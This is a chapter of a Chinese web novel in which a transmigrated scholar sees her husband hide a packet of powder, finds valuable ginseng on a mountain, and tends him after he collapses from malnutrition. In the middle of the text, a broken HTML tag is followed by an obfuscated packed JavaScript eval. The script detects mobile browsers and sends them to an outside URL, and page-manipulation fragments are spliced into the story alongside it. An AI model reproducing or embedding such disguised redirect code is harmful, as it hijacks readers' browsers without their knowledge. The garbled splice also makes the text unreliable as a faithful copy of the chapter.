2. 第2章

作品:《夫郎他是个黑心莲(女尊)

    或许她就这样被赌坊的人意外打死,官府那边也不会发现异常……


    他激动于这个想法,手中的纸包被他握得褶皱变形。


    倏然,灶中的柴竹发出脆响,一下将他拉回了神。他微叹口气,刚打算收起纸包,一道声音从他身后传来“徐秋池。”


    他被吓得一哆嗦,手中的纸包也不知道什么时候掉在了地上,不少白粉也撒了出来。


    “你,这是。”沈宴疑惑着望去,她在犹豫要不要进去。


    按沈秀才的性格她是不会进去的,毕竟她秉持着君子远庖厨的思想。


    徐秋池匆忙蹲下,岔开手,着急忙慌的抓着掉落出来的药粉。


    像是生怕会被人夺走,两三下地面已恢复干净。他紧握着药包,神情有些扭捏。


    “这药粉是去年剩下没用完的,我用来敷手治冻疮的。就几个铜板,不贵的。”


    似乎怕被怪罪,说完他又扯着嘴笑起来“沈娘是饿吧,午饭已经好了。你快坐着,我这就端出来。”


    沈宴望着他有些僵硬的笑脸,余光扫了眼地面还残留的零星药粉,点了点头转身离去。


    她是有些饿了,在床上躺了两天一夜,早已饥肠辘辘。在堂屋等了会不见有什么动静,她才想着出来看看。


    不过,就这么一瞧她好像又发现了他什么秘密。


    她本想好好思索一番,可看到端出来的稀粥野菜,立马什么心思都消得一干二净。


    好苦的日子,这么清淡贫瘠的食物她已经很久没吃过了,有生之年她竟然还能重复一次。


    这顿饭菜唯一算得上佳肴的只有那个鸡蛋。


    她面前已经盛好了一碗白粥,相对于徐秋池碗里的稀水,她碗里的完全可以说是浓稠。


    徐秋池饮食很文静,低着头慢慢的喝着,偶尔伸筷夹两口野菜,那个鸡蛋他从始至终都没有投去过视线。


    沈宴抬手拿过鸡蛋,剥好壳后又将其一分为二。她自己留下一半,又将另一半用碗盛着推向对面。


    徐秋池诧异的抬起头,挪动了两下的唇瓣终是开了口“是味道不对吗?”


    “这半给你的。”


    “我?”他声音瞬时增高,一双眼睛也瞪得圆溜溜的。


    “嗯,累倒了没钱治病。”


    ……


    扣死她算了。


    很扫兴的一句话,但徐秋池情绪依旧给的很足。他笑容灿烂,有些受宠若惊的道谢。


    他确实很久没尝过鸡蛋了,沈母还在时,他一个月还能吃上一个。自从沈母去世后,这个家完全靠他维持生计。


    有好吃的都得先过沈宴的口,他也不敢偷吃,沈宴对他的不耐太过显眼,拿侥幸去赌对方的凉薄不是什么理智的选择。


    他心中鄙夷着沈宴高高在上的施舍,但喉间的那股涩意依旧难压。既而他的笑脸也只维持了一瞬,就立马低下了头,继续扒拉着稀粥。


    他在心中偷偷的告诫自己


    徐秋池,别把施舍当好心,别忘了你还有被卖的风险。


    沈宴看着徐秋池吃下后,才动起了碗筷。这半个鸡蛋给他确实是有表达善意的意图,她并不打算完全按照原主的性格行事,那样太累,一旦不注意还容易露出马脚。


    而且她也不想扮演另外一个人生活,有赌坊的事做借口,微小的改变是可以被所有人接受的。


    其二则是她并不太信任那看似单纯柔弱的徐秋池,即便他的解释很合理,但沈宴更愿意相信自己的直觉,对方尝过后她也能安心吃下。


    对于那天上门找事的人她没有过多解释,她不开口徐秋池也不敢询问,空荡的室内一时只有碗筷碰撞的轻响。


    两碗粥下去,口中依旧寡淡没什么味道,但饱腹感却慢慢充盈。沈宴望了望窗外的天色,估摸着自己的体力还是决定上山看看。


    即便不是为了债务,后续生存也还是需要银两。沈宴不是坐以待毙的性格,有了想法她当即在里屋找了个背篓和镰刀就打算出门。


    面对一旁狐疑踌躇的徐秋池,为了不引起不必要的麻烦,她还是开口解释了两句;“我打算上山看看有没有什么山货可以卖的,这两天辛苦你了,欠款我会想办法的。”


    说完,她就寻着脑海里的记忆向着山上走去。


    徐秋池神色复杂得依靠在门框处,一双没什么血色的薄唇被他抿得发白。沈宴的变化他可以察觉到,对他依旧冷漠,但态度好上不少。


    太久没有受到善待的他,即便只是一点点善意也让他惶恐,被卖的担忧如一把高悬之剑时刻提醒着他的处境,任何的好意对现在的他来说都是被装饰过的陷阱。


    上山的路有些崎岖,不太好走。沈宴拿着镰刀小心的划开拦路的枝杈,脚下的泥土有些湿润,她走了没多久麻履已经沾上不少黏土。


    沈宴制灯的手艺上过电视台,技术绝对过硬。在翻找了一遍记忆中的花灯款式后,她决定做一款这个世界还没有的滚灯。


    眼前的竹子竹节粗长,年岁也够是做灯的好材料。沈宴卷起衣袖,挥起镰刀将翠竹砍倒,又将其砍成小段放入背篓。


    山林里的枝叶茂盛阻挡了不少光线,刚还亮堂的天空,才一会就暗了下来。氤氲的密林让她有些看不清远处的山路了,安全起见沈宴决定绕小路下山。


    小路有些陡峭,加上背上的重量,即便沈宴十分小心的行走还是被绊了一跤。


    靠着一旁的大树支撑爬起,还好没受伤,就是竹竿撒了一地。她墩身一一捡起,却眼尖发现一旁草丛里有一株碧绿竖直的植株。


    沈宴两步上前,将两旁的杂草扒拉开,植株的样貌彻底暴露出来。


    五匹叶,是五匹叶的人参!


    脸上的笑容已经彻底掩饰不住,她急忙抓起一旁粗枝挖了起来。不一会,一株完整的人参就被她挖了出来。


    拍了拍沾上的松土,横纹和芦碗清晰可见。她运气不错,是一株品质上好的人参。如若不是摔的那跤,这隐蔽的人参她不可能发现,也是因祸得福了。


    落日余晖,细小的雨点从高空掉落到村道的野草上,很快又被一双双灰扑扑的麻履踩下。刚晴朗的天空才一会就飘洒了小雨,路上几道人影跑得飞快,不时可以听到他们的骂咧声。


    沈宴的步履轻快,多变的天气并没有影响她的好心情。有了这株人参,欠款至少可以抵上一半。


    她的唇角始终微勾着,不一会就到了家门口。进屋把竹节和人参放好,坐着喝了口水她才发现不对劲来。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244583|166336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    徐秋池呢?


    小院不见人,屋内也没动静。沈宴的眉梢紧蹙,在里屋转了一圈后又往厨房走去,果然看到了倒地不起的徐秋池。


    他单手掩着头,身旁还有些呕吐物,是一些稀碎的鸡蛋块。


    沈宴的第一反应是今天吃食有问题,但很快她又反应过来自己吃了也没什么事。


    她当即将人抱起放到里屋床上,又出门赶在天黑前去找了村里唯一的大夫陈娘子。


    “长期劳累,气血亏虚,脾胃虚弱,消化不良。沈秀才,再怎么说他也是你夫郎,勤勤恳恳照顾你这么些年,人不是这么糟践的啊!”陈娘子摇着头叹气。


    床上的人脸色苍白,毫无血色,昏黄的烛火照亮了他消瘦的脸庞。沈宴转身继续说道:“午时吃鸡蛋还好好的,不想回来就见他昏过去。”


    “鸡蛋?那他平日吃些什么。”


    沈宴想着记忆里的食物,有些尴尬“一些,白粥吧……”


    陈娘子听闻摆了摆手,轻笑一声,语气不明“鸡蛋于他而言已是补品,他身体亏空得厉害,如若再不注意,迟早会落下病根的。”


    竟然连鸡蛋都吸收不了,沈宴情绪复杂,毕竟这鸡蛋是她让吃的,她只是没想到徐秋池营养不良到了这个程度。


    “这是药单,你照着名字去医馆开药。”说着便起身收拾木箱打算离开。


    陈娘子和原身的阿娘有些交情,早年陈娘子上山采药坠下山谷,是原身阿娘发现将她背了回来。至此,陈娘子许诺一辈子免费为沈家接诊。


    因着恩情,陈娘子其实对沈秀才态度不错。只是沈秀才太过清高,不是读书人她一概看不起,继而关系变得僵持。


    想到屋内的人参,沈宴叫住了快要出门的陈娘子。


    “陈大夫,我今日上山,无意寻得了一株人参,你看看如何?”


    陈娘子闻言又回身坐下,接过沈宴手中人参便瞧了起来。


    “你小子运气不错,这人参虽小但品相极佳。现在的市价一般每两1500文,你这成品在我那医馆可以开到1800文。”说着,她拍了拍沈宴的肩“想好的话就去城里医馆找我。”


    “我自然信得过陈大夫,你愿意收现在就可以拿去。”


    陈娘子意外望了眼沈宴,似是惊讶随后像是想到什么又笑道:“经了事倒是成熟了,好了,按着辈分你也应该叫我声陈姥姥。”


    “是晚辈的过错,一时糊涂,竟和陈姥姥生分了。”沈宴当即作揖行礼。


    “年轻气盛,正常正常,经这番磨炼清醒了倒也是好事。不过也是老娘我多嘴,你这夫郎先天不足,如若还不注意,往后恐怕子嗣堪忧啊!”


    沈宴干笑了两声,一时竟不知道如何回答。


    陈娘子看出了她的扭捏,当即笑了出来“都是女子,无须介怀,实在不行就再娶一个。”


    她和徐秋池认识还不到一天,虽说对方现在昏迷着,但当面说这话题还是让她尴尬,她只好点头应承着算是回答。


    和陈娘子换好银两,沈宴便将其送出了屋。人参的价格比她预想的高不少,原以为只能抵上欠款的一半,没想到竟然还有多。


    总共十六两,发愁的两大难题竟如此快速的解决了一个。